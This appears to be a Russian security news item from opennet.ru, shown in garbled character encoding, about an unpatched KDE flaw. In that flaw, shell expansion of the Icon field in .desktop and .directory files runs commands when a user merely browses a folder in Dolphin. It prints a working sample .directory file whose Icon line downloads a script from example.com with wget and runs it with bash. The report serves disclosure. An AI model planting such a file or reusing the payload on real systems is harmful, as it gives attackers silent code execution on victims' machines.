Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π² KDE, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΡ€ΠΈ просмотрС списка Ρ„Π°ΠΉΠ»ΠΎΠ²

Π’ KDE выявлСна ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π°Ρ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΏΡ€ΠΈ просмотрС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° ΠΈΠ»ΠΈ Π°Ρ€Ρ…ΠΈΠ²Π°, содСрТащСго ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹ «.desktop» ΠΈ «.directory». Для Π°Ρ‚Π°ΠΊΠΈ достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ просто просмотрСл список Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ Dolphin, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ» врСдоносный desktop-Ρ„Π°ΠΉΠ» ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΠ» ΠΌΡ‹ΡˆΡŒΡŽ ярлык Π½Π° Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ стол ΠΈΠ»ΠΈ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° проявляСтся Π² Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ выпускС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ KDE Frameworks 5.60.0 ΠΈ Π±ΠΎΠ»Π΅Π΅ старых вСрсиях, Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ KDE 4. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΠΎΠΊΠ° остаётся нСисправлСнной (CVE Π½Π΅ присвоСн).

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π²Ρ‹Π·Π²Π°Π½Π° Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ класса KDesktopFile, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ «Icon» Π±Π΅Π· Π΄ΠΎΠ»ΠΆΠ½ΠΎΠ³ΠΎ экранирования ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ KConfigPrivate::expandString(), которая выполняСт раскрытиС спСцсимволов shell, Π² Ρ‚ΠΎΠΌ числС обрабатывая строки «$(..)» ΠΊΠ°ΠΊ ΠΏΠΎΠ΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ исполнСнию ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹. Π’ΠΎΠΏΡ€Π΅ΠΊΠΈ трСбованиям спСцификации XDG Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ раскрытия shell-конструкций производится Π±Π΅Π· раздСлСния Ρ‚ΠΈΠΏΠ° настроСк, Ρ‚.Π΅. Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки запускаСмого прилоТСния, Π½ΠΎ ΠΈ ΠΏΡ€ΠΈ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Ρ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΈΠΊΡ‚ΠΎΠ³Ρ€Π°ΠΌΠΌ.

НапримСр, для Π°Ρ‚Π°ΠΊΠΈ достаточно ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ zip-Π°Ρ€Ρ…ΠΈΠ² с ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠΌ, содСрТащим Ρ„Π°ΠΉΠ» «.directory» Π²ΠΈΠ΄Π°:

[Desktop Entry] Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ просмотра содСрТимого Π°Ρ€Ρ…ΠΈΠ²Π° Π² Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ Dolphin Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ скрипт https://example.com/FILENAME.sh.


Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru